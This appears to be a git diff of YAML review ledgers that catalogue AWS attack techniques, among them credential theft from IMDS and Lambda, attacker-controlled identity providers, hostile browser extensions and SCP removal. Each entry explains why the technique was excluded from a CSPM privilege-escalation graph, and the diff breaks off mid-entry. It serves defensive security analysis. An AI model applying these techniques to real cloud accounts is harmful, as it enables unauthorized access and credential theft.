src/pentesting-cloud/aws-security/aws-persistence/aws-workspaces-web-persistence/README.md#persist-a-hostile-extension-in-every-secure-browser-session + technique: aws-v3-04-force-install-a-hostile-extension-in-workspaces-web-ses + reason: 'UpdateBrowserSettings can force an extension into later WorkSpaces Secure Browser sessions. + It can affect pages those users visit, but no exact AWS principal, IAM credential, or role transfer is + identified by the policy setting alone. A separately observed credential would need its own route.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-workspaces-web-persistence/README.md#persist-an-attacker-controlled-portal-identity-provider + technique: aws-v3-05-add-or-replace-a-workspaces-web-portal-saml-oidc-identi + reason: 'CreateIdentityProvider or UpdateIdentityProvider can let an attacker-operated IdP authenticate a + user to a standard WorkSpaces Secure Browser portal. This is portal access, not an AWS IAM role session; + neither the provider configuration nor browser login names an exact AWS principal gained by the source.' +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-user-pool-unauthenticated-access/README.md#multi-region-replicas-split-password-lockout-counters + technique: aws-v3-06-use-independent-cognito-replica-lockout-counters-to-gue + reason: 'Use independent Cognito replica lockout counters to guess a user password: no source permission/action + is declared. The required foothold or credential possession cannot be inferred from an AWS IAM principal, and + the challenge evidence is not collected in current snapshots.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md#1-runtime-ssrf---mmds-credentials + technique: aws-v3-07-agentcore-runtime-ssrf-to-its-execution-role-credential + reason: 'AgentCore Runtime uses an execution role whose temporary credentials are + available inside its microVM, but AWS now requires MMDSv2 for new Runtime invocations. + A GET-only SSRF cannot reach token-protected credentials; AWS notes already-running + legacy sessions are unaffected by the invocation gate. A current route needs an exact + accessible runtime/session, a demonstrated SSRF that reaches tokenless MMDS in such a + live legacy session or obtains and uses an MMDSv2 token, the credential response, and + the runtime-to-role join. The CSPM collects none of those exploit/session facts, so + InvokeAgentRuntime or role trust alone cannot prove this edge.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md#steal-the-container-instance-role-from-an-ecs-on-ec2-task + technique: aws-v3-08-read-ec2-instance-profile-credentials-from-imds-inside + reason: 'Read EC2 instance-profile credentials from IMDS inside an ECS task: no source permission/action is declared. + The required foothold or credential possession cannot be inferred from an AWS IAM principal, and the challenge + evidence is not collected in current snapshots.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation/README.md#steal-co-located-task-credentials-after-compromising-the-container-instance + technique: aws-v3-09-use-host-or-container-runtime-control-to-steal-credenti + reason: 'Use host or container-runtime control to steal credentials of neighboring ECS tasks: no source permission/action + is declared. The required foothold or credential possession cannot be inferred from an AWS IAM principal, and + the challenge evidence is not collected in current snapshots.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#exfiltrate-lambda-credentials + technique: aws-v3-10-read-lambda-execution-role-credentials-from-runtime-env + reason: 'AWS places temporary execution-role credentials in Lambda runtime environment + variables, but a caller needs a demonstrated way to read the process environment or + make the function reveal those variables. InvokeFunction alone does not provide that + read. An exact edge also needs the function-to-execution-role join and a credential + response proving usable role access. The CSPM cannot infer a vulnerable handler or + local process foothold from IAM permissions, so this generic post-exploitation route + remains excluded; separately modeled code-control routes may reach the role.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-migration-hub-strategy-recommendations-post-exploitation/README.md#harvest-credentials-from-a-compromised-collector-host + technique: aws-v3-11-harvest-the-strategy-recommendations-collector-aws-keys + reason: 'A configured Strategy Recommendations collector host may store AWS access keys + in its local Docker configuration, but this route starts with local root, Docker control + or equivalent filesystem access, not with a defined Migration Hub IAM action. An AWS + principal edge needs proof that the source controls that exact host, the actual complete + usable key tuple, its verified IAM subject and added authority. CSPM IAM inventory + cannot infer local host compromise or secret contents, so keep this post-exploitation + route excluded.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-privileged-event-consumer-injection.md#preconditions-and-discovery-without-list-permissions + technique: aws-v3-12-drive-a-privileged-lambda-consumer-through-a-writable-e + reason: 'A producer can write to an SNS, SQS, Kinesis, DynamoDB, Logs or metric source + that an existing Lambda consumes, without direct InvokeFunction or PassRole. Invocation + alone is not a role edge: the exact enabled source-to-function join, function role, input + filter and handler behavior must show that a caller-controlled field drives a specific + privileged AWS operation and useful result. The CSPM does not inspect or verify handler + input-to-action semantics, so a producer grant alone cannot prove this route.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iot-core-post-exploitation/README.md#cross-service-pivot-publish-into-an-existing-iot-rule-and-lambda + technique: aws-v3-13-publish-to-an-iot-rule-whose-lambda-action-misuses-atta + reason: 'iot:Publish can reach a Lambda only through an enabled rule whose SQL matches + the exact writable topic, whose Lambda action names the function, and whose function + policy allows the rule to invoke it. To establish a role edge, the handler must also + use attacker-controlled message fields to perform a specific privileged action under + its recorded role. The CSPM lacks that rule-to-function and handler-semantic proof, so + a matching topic permission or role ARN alone is insufficient.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lex-v2-post-exploitation/README.md#abuse-an-existing-code-hook-through-runtime-access + technique: aws-v3-14-trigger-privileged-business-actions-through-a-lex-fulfi + reason: 'Lex runtime calls can supply slots to a configured fulfillment Lambda only when + the exact alias and intent have that hook enabled and the dialog reaches fulfillment. + This gives no raw Lambda role access; a principal edge would require observed handler + logic that maps caller-controlled slots to a specific privileged AWS action, the hook + function role and a useful result. The CSPM does not collect bot dialog or handler + semantics, so RecognizeText permission alone cannot prove such an edge.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-waf-post-exploitation/README.md#aws-waf-log-credential-harvesting-and-request-replay + technique: aws-v3-15-replay-a-victim-application-session-recovered-from-waf + reason: 'Candidate duplicate of aws-waf-sampled-request-session-replay across log and + sampled-request reads. Replaying a cookie or bearer token reaches an application session, + not automatically an AWS principal. An IAM edge requires an actually recorded complete + valid AWS credential and attribution to a distinct IAM user or role.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-device-farm-post-exploitation/README.md#take-over-a-running-remote-access-device + technique: aws-v3-16-redeem-a-device-farm-session-endpoint-and-control-a-log + reason: 'GetRemoteAccessSession can return interactive and Appium endpoints for one + running physical test-device session. Those endpoints may let the caller control a + logged-in app or test account on the device, but the device session is not another AWS + IAM principal and no role credential is returned. Any AWS credential later found inside + the app would require separate content and subject evidence. Keep device takeover as an + application-session issue outside this graph.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-gamelift-streams-post-exploitation/README.md#reconnect-to-an-active-or-disconnected-session + technique: aws-v3-17-reconnect-to-another-user-s-live-gamelift-streams-appli + reason: 'CreateStreamSessionConnection can reconnect to an ACTIVE or + PENDING_CLIENT_RECONNECTION stream and preserve that application session state. The + resulting WebRTC access may expose an in-app user session or reachable private network, + but the API does not grant the reconnecting caller the streaming execution role or + another AWS principal. Treat this as application-session takeover, not an IAM role edge.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workspaces-web-post-exploitation/README.md#add-or-replace-an-attacker-controlled-identity-provider + technique: aws-v3-18-attach-an-attacker-idp-to-a-workspaces-secure-browser-p + reason: 'Same portal IdP route as aws-v3-05. A configured attacker provider can issue valid assertions + for WorkSpaces Secure Browser access, but the portal login is not an IAM role session. The page does + not identify an exact AWS principal gained by the source.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iot-sitewise-privesc/README.md#grant-yourself-access-to-a-legacy-sitewise-monitor-portal + technique: aws-v3-19-grant-a-controlled-identity-sitewise-monitor-administra + reason: Only the exact self-admin grant on one existing portal with reviewed before/after access is active as aws-sitewise-createaccesspolicy-portal-self-grant. The legacy controlled-other-identity target lacks a typed source-control join and remains excluded. + source_revision: d11f0e7012 + +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ivs-chat-room-token-post-exploitation/README.md#mint-a-room-token-and-join-the-data-plane + technique: aws-v3-20-mint-an-ivs-chat-token-using-another-application-user-i + reason: 'CreateChatToken can mint a room WebSocket token with an application-provided + userId and selected chat capabilities. That token may let the caller impersonate an + application user and send, receive or moderate messages in the room, but userId is not + an IAM principal and the token cannot call AWS APIs as another role. Keep this bounded + chat impersonation risk outside the AWS principal graph.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-audit-manager-post-exploitation/README.md#delegate-a-control-set-to-another-role + technique: aws-v3-21-delegate-audit-manager-control-set-authority-to-an-atta + reason: 'Candidate exact role authority change. BatchCreateDelegationByAssessment names a role and + grants it control-set review authority, but an edge from the source requires proof that the source + controls or can assume that exact role, effective permission on the assessment and control set, + and the resulting delegation. This does not itself grant sts:AssumeRole or general role permissions.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iot-wireless-post-exploitation/README.md#recover-wireless-device-onboarding-and-session-secrets + technique: aws-v3-22-clone-a-wireless-device-with-recovered-lorawan-or-sidew + reason: 'GetWirelessDevice may expose LoRaWAN or Sidewalk device keys, which can enable + device cloning or wireless traffic manipulation when the returned key type is usable. + Those keys identify a wireless device, not an IAM user or role, and do not authorize + AWS API calls as another principal. Keep this device-identity compromise outside the + principal escalation graph.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-supply-chain-post-exploitation/README.md#redirect-an-erp-connection-to-expose-credentials-used-by-the-instance-role + technique: aws-v3-23-redirect-a-supply-chain-erp-connector-to-capture-a-dele + reason: 'Redirecting a Supply Chain ERP connector may send a stored ERP username and password to + an attacker endpoint if the service authenticates there. The credential belongs to the downstream + ERP or database, not to the AWS instance role that reads it. No reusable AWS principal credential + or exact principal-to-principal edge is identified by this route.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-invoicing-and-billing-post-exploitation/README.md#steal-or-sabotage-a-procurement-portal-connection + technique: aws-v3-24-recover-or-redirect-procurement-portal-authentication-m + reason: 'Recover or redirect procurement-portal authentication material: actions invoicing:GetProcurementPortalPreference + are stated, but the aws_verified_authority target does not identify an exact principal or encode a verified + new effective permission. The entry is explicitly unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cognito-directory-secret-disclosure-post-exploitation/README.md#iam-reads-that-expose-directory-data-and-idp-client-secrets + technique: aws-v3-25-use-a-cognito-idp-client-secret-as-the-oauth-applicatio + reason: 'DescribeUserPoolClient may reveal a confidential Cognito application client secret. + The secret can authenticate an OAuth client for permitted flows, but it is not an IAM user or + role credential and does not by itself grant AWS API authority as another principal. A separate + identity-pool role mapping would need exact proof before modeling an IAM edge.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-managed-blockchain-post-exploitation/README.md#recover-an-accessor-bearer-token + technique: aws-v3-26-reuse-an-amazon-managed-blockchain-accessor-billing-tok + reason: 'GetAccessor can return a BILLING_TOKEN for Ethereum or Polygon JSON-RPC access + and charge usage to the accessor owner. The token is a Managed Blockchain service + credential, not an AWS IAM or STS session; it neither discloses wallet private keys nor + grants another AWS principal authority. Keep paid-node misuse as a separate issue.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kinesis-video-streams-post-exploitation/README.md#recover-turn-credentials-and-impersonate-webrtc-peers + technique: aws-v3-27-join-kinesis-video-signaling-as-a-master-or-viewer-peer + reason: 'GetIceServerConfig returns temporary TURN relay credentials for one signaling + channel; joining signaling separately requires the source principal to have + ConnectAsViewer or ConnectAsMaster on that channel. TURN credentials authenticate to + the relay, not to IAM or STS, and the signed WebSocket call still uses the source + principal. Media exposure or peer impersonation is a bounded application-plane risk, + not a transition to another AWS principal.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#statesstartexecution---input-injection-into-dangerous-sinks + technique: aws-v3-28-reach-a-lambda-execution-role-through-unsafe-workflow-i + reason: 'Candidate Lambda role route only when an exact state machine passes caller-controlled input + to a known Lambda handler whose reviewed code executes that input. StartExecution permission, + state-machine definition, Lambda target and handler behavior must be joined before naming its + execution role as reachable. A mere invocation never proves code execution.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md#statesstartexecution---input-injection-into-dangerous-sinks + technique: aws-v3-29-redirect-a-credentialed-step-functions-http-task-to-cap + reason: 'A dynamic HTTP Task endpoint may receive the fixed EventBridge Connection credential + when caller input controls the URL and the execution role permits the request. This can expose + an API key or remote-service credential, but the route does not name another IAM principal or + grant the caller the state-machine execution role. Preserve it as a separate credential risk.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md#lambda-durable-callback-result-injection + technique: aws-v3-30-inject-a-lambda-durable-callback-result-that-triggers-a + reason: 'Candidate role-backed workflow action. A valid pending callback ID, permission on its exact + durable execution and reviewed function logic must show that attacker-supplied callback output + reaches an AWS action under the function role. A callback permission alone neither discovers an ID + nor proves that the result controls a privileged branch.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md#local-enumeration + technique: aws-v3-31-steal-a-different-user-s-cached-iam-identity-center-acc + reason: 'Candidate local credential route. An IAM Identity Center token can obtain assigned AWS + role credentials while valid, but the page gives no AWS permission that reads another user''s + local cache. Require an observed host/file foothold, usable token, account-role assignment and + exact resulting role before adding an AWS principal edge.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-iam-enum.md#local-enumeration + technique: aws-v3-32-reuse-another-user-s-cached-sts-role-credentials-or-sta + reason: 'Candidate local credential route. A different user''s AWS CLI files may contain live + cached STS credentials or IAM user keys, but IAM permissions alone do not give access to that + user''s filesystem. Require observed file access, usable credential material, credential owner + and effective target permissions before an exact principal edge.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md#local-enumeration + technique: aws-v3-33-read-aws-vpn-client-temporary-credentials-from-another + reason: 'Candidate local credential route. AWS VPN Client may store temporary AWS credentials + for its metrics role in a local file, but the page gives no AWS permission to read another + user''s profile. Require observed host/file access, valid credentials and a verified resulting + role whose authority exceeds the source before adding an edge.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-resource-groups-tagging-api-enum.md#bulk-tagging-and-tag-sync-boundaries + technique: aws-v3-34-change-an-authorization-tag-to-satisfy-a-tag-conditione + reason: 'Candidate exact ABAC authority change. TagResources also requires the target service''s + native tagging action; a usable route needs both permissions on the exact resource, a policy + condition that grants a specific new AWS action for the chosen tag value, and no explicit deny. + TagResources alone is not an authorization bypass or a principal transition.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-devops-agent-enum.md#inventory-private-connectivity + technique: aws-v3-35-use-a-compromised-devops-agent-integration-endpoint-as + reason: 'Candidate only with a demonstrated compromised endpoint and exact DevOps Agent tool + path that forwards AWS credentials or causes a privileged AWS action under a named agent role. + Service metadata and endpoint inventory alone do not prove that the source controls the endpoint + or that an agent follows a malicious response.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-chime-sdk-post-exploitation/README.md#chimecreateappinstanceuser--chimecreateappinstanceadmin + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md#chimecreateappinstanceuser--chimecreateappinstanceadmin + source_revision: 3ad99dc7ac + technique: aws-v3-36-chime-createappinstanceuser-admin + reason: 'A Chime AppInstance user or bot can be promoted to messaging administrator, but this + service identity is not another IAM principal. Chime still checks the calling AWS session''s + IAM permissions for each messaging action, so the promotion alone creates no AWS role edge.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#dismantling-scp-guardrails--organizationsdetachpolicy-updatepolicy-disablepolicytype-moveaccount + technique: aws-v3-37-scp-guardrail-removal + reason: 'Removing an SCP can release a guardrail on a member account, but SCPs grant no IAM + permissions. The automatic principal graph lacks an exact controlled member-account identity, + affected hierarchy and policy attachment, and a before/after action that identity can use.' +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#organizationsputresourcepolicy--delegate-organizations-itself-to-a-member-account + technique: aws-v3-38-organizations-resource-policy + reason: 'Organizations resource policy: actions organizations:PutResourcePolicy are stated, but the aws_verified_authority + target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly + unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-appstream-persistence/README.md#appstreamcreateuser--batchassociateuserstack--regional-user-pool-foothold + technique: aws-v3-39-appstream-user-pool-stack-login + reason: 'Candidate conditional fleet-role path. CreateUser and BatchAssociateUserStack give a + service-local portal login after the email/password flow; an AWS role edge additionally needs + an assigned usable stack, application or desktop command execution, and a fleet with an + IAM machine role whose credentials are accessible from that session.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-cloudwatch-omni-persistence/README.md#cloudwatchcreateaccessgrant--install-a-space-admin-principal + technique: aws-v3-40-cloudwatch-omni-space-admin + reason: 'Candidate exact grant to a named IAM principal. CreateAccessGrant can give that user + or role SPACE_ADMIN in one Omni space, but the source needs proven control of that principal + and the target still needs valid authentication, IAM authorization and the space operator + role. The grant does not create credentials or make a role assumable.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-elasticache-persistence/README.md#elasticachemodifyuser--hijack-or-widen-an-existing-rbac-user + technique: aws-v3-41-elasticache-attached-rbac-user-takeover + reason: 'ElastiCache attached RBAC user takeover: actions elasticache:ModifyUser are stated, but the aws_verified_authority + target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly + unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-elasticache-persistence/README.md#elasticachecreateuser-elasticachecreateusergroup--elasticachemodifyusergroup--plant-a-full-access-rbac-user + technique: aws-v3-42-elasticache-full-access-user-group + reason: 'ElastiCache full-access user group: actions elasticache:CreateUser, elasticache:CreateUserGroup are stated, + but the aws_verified_authority target does not identify an exact principal or encode a verified new effective + permission. The entry is explicitly unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-memorydb-persistence/README.md#memorydbcreateuser-memorydbcreateacl--memorydbupdateacl--plant-a-full-access-acl-user + technique: aws-v3-43-memorydb-full-access-acl-user + reason: 'MemoryDB full-access ACL user: actions memorydb:CreateUser, memorydb:CreateACL are stated, but the aws_verified_authority + target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly + unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-memorydb-persistence/README.md#memorydbupdateuser--hijack-or-widen-an-existing-acl-user + technique: aws-v3-44-memorydb-attached-user-takeover + reason: 'MemoryDB attached user takeover: actions memorydb:UpdateUser are stated, but the aws_verified_authority + target does not identify an exact principal or encode a verified new effective permission. The entry is explicitly + unresolved pending reviewed challenge evidence.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-chime-sdk-persistence/README.md#add-an-attacker-controlled-messaging-identity + technique: aws-v3-45-chime-sdk-admin-persistence + reason: 'CreateAppInstanceAdmin can grant a controlled Chime user or bot persistent messaging + admin status. It does not grant that identity AWS IAM permissions; later calls still require + the caller''s own authorized AWS session. This duplicates the bounded service identity risk + reviewed under aws-v3-36 rather than an IAM principal transition.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md#set-lifecycle-configuration-on-sagemaker-studio + technique: aws-v3-46-sagemaker-domain-lifecycle + reason: 'Candidate domain-level Studio lifecycle route. The active catalog models the narrower + user-profile update as aws-sagemaker-attach-studio-lifecycle-config-user-profile. A domain + default needs an exact target profile or space, compatible controlled lifecycle config, + effective UpdateDomain permission and later app start before naming the execution role.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-connect-persistence/README.md#create-a-durable-connect-administrator + technique: aws-v3-47-connect-createuser + reason: 'CreateUser can create a Connect-managed administrator login when the exact instance, + Admin security profile and routing profile are authorized. The login controls the contact + center, but it does not create AWS IAM credentials or grant another AWS principal authority. + SAML mode has additional federation prerequisites rather than an automatic role session.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-redshift-persistence/README.md#redshift-serverlessupdatenamespace---reset-the-serverless-database-administrator + technique: aws-v3-48-redshift-serverless-admin-reset + reason: 'UpdateNamespace can reset a Redshift Serverless database administrator password. + The resulting SQL login is a database identity, not an IAM user or role, and the page + identifies no AWS principal credential acquired by the source.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-healthlake-persistence/README.md#take-over-smart-on-fhir-authorization + technique: aws-v3-49-healthlake-smart-authorizer + reason: 'Candidate bounded role-backed FHIR action. A modified SMART authorizer can return a + role ARN for HealthLake to assume, but exact authority needs the datastore, controlled token + validator, trusted role with FHIR permissions, Lambda invoke policy and accepted bearer token. + The caller does not receive general credentials for the returned role.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-odb-persistence/README.md#retain-oracle-admin-access-with-a-known-password + technique: aws-v3-50-oracle-autonomous-database-admin + reason: 'UpdateAutonomousDatabase can set a known Oracle ADMIN password. That credential + controls the private database when reachable, but it does not grant AWS IAM or OCI tenancy + permissions and identifies no second AWS principal.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-firewall-manager-persistence/README.md#retaining-the-fms-administrator-role + technique: aws-v3-51-firewall-manager-delegate + reason: 'Candidate cross-account service authority. FMS admin designation names an AWS + account, not a particular IAM principal. An exact edge needs a controlled identity in that + member account, effective FMS policy permissions, valid organization prerequisites and the + resulting admin designation; it does not confer general IAM administration.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-network-security-manager-persistence/README.md#network-security-managerputadminaccount--retain-delegated-network-security-administration + technique: aws-v3-52-network-security-manager-delegate + reason: 'Candidate cross-account service authority. PutAdminAccount designates a member + account rather than an IAM principal. An exact source-to-principal edge needs a controlled + identity there with effective Network Security Manager actions, organization all-features + and trusted-access prerequisites, and a scope that covers the intended resources.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-timestream-persistence/README.md#timestream-for-influxdb-plant-a-native-api-token + technique: aws-v3-53-influxdb-admin-credentials + reason: 'GetDbInstance and GetSecretValue can expose the InfluxDB engine administrator + credential, from which a native database token can be planted. Neither the password nor + token is an IAM credential or another AWS principal; its impact is limited to the + reachable InfluxDB service.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md#download-instance-ssh-keys--db-passwords + technique: aws-v3-54-lightsail-db-master-password + reason: 'GetRelationalDatabaseMasterUserPassword returns a database password, not IAM + credentials. Lightsail instance SSH keys can offer a separate host foothold, but the + page does not identify an instance IAM role, usable metadata credential or exact + principal transition from that host.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-opensearch-access-policy-persistence/README.md#esupdatedomainconfig--domain-access-policy-takeover + technique: aws-v3-55-opensearch-domain-policy + reason: 'Candidate exact resource-policy authority change. UpdateDomainConfig can name an + attacker-controlled IAM principal for ESHttp actions, but a definite edge needs control + of that principal, effective update authorization, completed configuration, reachable + endpoint and any fine-grained-access or explicit-deny limits. It does not assume a role.' +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-marketplace-persistence/README.md#aws-marketplaceputresourcepolicy--cross-account-seller-entity-control + technique: aws-v3-56-marketplace-seller-entity-policy + reason: 'Candidate exact cross-account entity grant. PutResourcePolicy can allow a named + external IAM principal to describe or change one seller entity, but the source must + control that principal and the external identity still needs its own applicable IAM + authorization. The grant does not give general access to the seller account.' +- source: src/pentesting-cloud/aws-security/aws-services/aws-workmail-enum.md#exact-impersonation-to-mailbox-chain + technique: aws-v3-57-workmail-impersonation-role + reason: 'AssumeImpersonationRole returns a short-lived WorkMail EWS bearer token for + permitted mailboxes. The WorkMail impersonation role is not an IAM role and its token + cannot call AWS APIs as the mailbox user or another AWS principal.' +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/organizations-and-central-account-pivots.md#scp-and-rcp-gaps + technique: aws-v3-58-leaveorganization-scp-escape + reason: 'Leaving an organization may remove inherited SCP restrictions, but does not grant an + IAM action by itself. The automatic graph lacks verified standalone-account prerequisites and + a controlled IAM identity whose allowed action was blocked only by the removed SCP.' +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md#guest-identity-credentials + technique: aws-v3-59-anonymous-cognito-guest-role + reason: 'Anonymous Cognito guest role: no source permission/action is declared. The required foothold or credential + possession cannot be inferred from an AWS IAM principal, and the challenge evidence is not collected in current + snapshots.' +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md#enhanced-and-basic-authentication-flows + technique: aws-v3-60-cognito-classic-flow + reason: 'Cognito classic flow: no source permission/action is declared. The required foothold or credential possession + cannot be inferred from an AWS IAM principal, and the challenge evidence is not collected in current snapshots.' +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-user-pool-unauthenticated-access/README.md#registration + technique: aws-v3-61-public-signup-cognito-role + reason: 'Public SignUp Cognito role: no source permission/action is declared. The required foothold or credential + possession cannot be inferred from an AWS IAM principal, and the challenge evidence is not collected in current + snapshots.' +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md#cognito-guest-identities-for-dynamodb + technique: aws-v3-62-cognito-guest-to-dynamodb + reason: 'Cognito guest to DynamoDB: no source permission/action is declared. The required foothold or credential + possession cannot be inferred from an AWS IAM principal, and the challenge evidence is not collected in current + snapshots.' +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lex-v2-unauthenticated-enum/README.md#public-web-clients-backed-by-unauthenticated-cognito-identities + technique: aws-v3-63-cognito-guest-to-lex + reason: 'Cognito guest to Lex: no source permission/action is declared. The required foothold or credential possession + cannot be inferred from an AWS IAM principal, and the challenge evidence is not collected in current snapshots.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-devops-agent-post-exploitation/README.md#disable-and-re-enable-the-operator-app-with-an-attacker-idp + technique: aws-v3-64-devops-agent-operator-app-idp-swap + reason: 'Candidate bounded operator-role path. DisableOperatorApp and EnableOperatorApp can + install an attacker IdP and pass an exact trusted operator role. An edge requires both + app actions, effective PassRole, compatible role trust, accepted attacker authentication + and proof of the operator actions reachable through that role; no raw STS key is returned.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation/README.md#policy-and-permission-boundary-deletion + technique: aws-v3-65-remove-own-explicit-deny + reason: 'Deleting an inline policy or detaching a managed policy can remove an explicit Deny only + if the source can mutate that exact policy and another policy already allows the blocked action. + No exact before/after permission gain is joined, so policy deletion alone creates no principal edge.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-evs-post-exploitation/README.md#recover-evs-managed-vcf-and-esx-credentials + technique: aws-v3-66-evs-vmware-admin-secret + reason: 'EVS environment secrets can contain VMware vCenter, NSX, SDDC Manager or ESX + administrator credentials. Those are VMware control-plane identities, not AWS IAM + credentials; reading the secret does not identify another AWS principal.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-evs-post-exploitation/README.md#recover-connector-credentials-for-an-existing-vcf-appliance + technique: aws-v3-67-evs-connector-secret + reason: 'EVS connector secrets contain credentials for an existing VCF appliance. + The account authenticates to VMware, not AWS IAM, so the secret read does not + give the source an exact second AWS principal.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-firewall-manager-post-exploitation/README.md#organizationsdescribeorganization--fmsassociateadminaccount-fmsdisassociateadminaccount-fmsputadminaccount + technique: aws-v3-68-firewall-manager-admin-action + reason: 'Candidate duplicate of aws-v3-51-firewall-manager-delegate. AssociateAdminAccount + changes the designated FMS administrator account, not a specific IAM principal. An exact + source-to-principal route needs a controlled identity in that account with usable FMS + permissions and verified organization/admin prerequisites.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elasticache-post-exploitation/README.md#elasticachemodifyreplicationgroup--add-an-attacker-known-legacy-auth-token + technique: aws-v3-69-elasticache-legacy-auth-rotation + reason: 'ModifyReplicationGroup can add a known legacy cache AUTH token where that mode + is enabled. The token authenticates to Valkey or Redis data, not to AWS IAM, and + gives no credentials for another AWS principal.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-inspector-post-exploitation/README.md#inspector2disabledelegatedadminaccount-inspector2enabledelegatedadminaccount--organizationslistdelegatedadministrators--organizationsenableawsserviceaccess--iamcreateservicelinkedrole + technique: aws-v3-70-inspector-delegated-administrator + reason: 'Candidate cross-account Inspector authority. EnableDelegatedAdminAccount names + a member account, not an IAM principal. An exact edge needs management-account + authorization, organization all-features and incumbent-admin handling, plus a controlled + identity in the chosen account with effective Inspector management actions.' +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-workmail-post-exploitation/README.md#sending-paths--telemetry-gaps + technique: aws-v3-71-workmail-resetpassword + reason: 'ResetPassword can give the caller a WorkMail mailbox login. The mailbox is an + application identity, not an IAM user or role, and the password does not authorize + AWS API calls as another principal.' diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_generic_challenge_strict_reaudit_20261016.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_generic_challenge_strict_reaudit_20261016.yaml new file mode 100644 index 0000000000..1dd7d17ba1 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_generic_challenge_strict_reaudit_20261016.yaml @@ -0,0 +1,8 @@ +# Exact originals: docs/privesc-ledgers/aws-scope-archive-20261016/generic-challenge-strict-re-audit.yaml.txt. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md#change-cdktoolkit-trustedaccounts-to-attacker-account-and-deploy-role-trust + source_revision: b587e6bd26 + technique: Change CDKToolkit TrustedAccounts to attacker account and deploy role trust + reason: CloudFormation stack update can alter a bootstrap trust list, but the source is not + proved to control 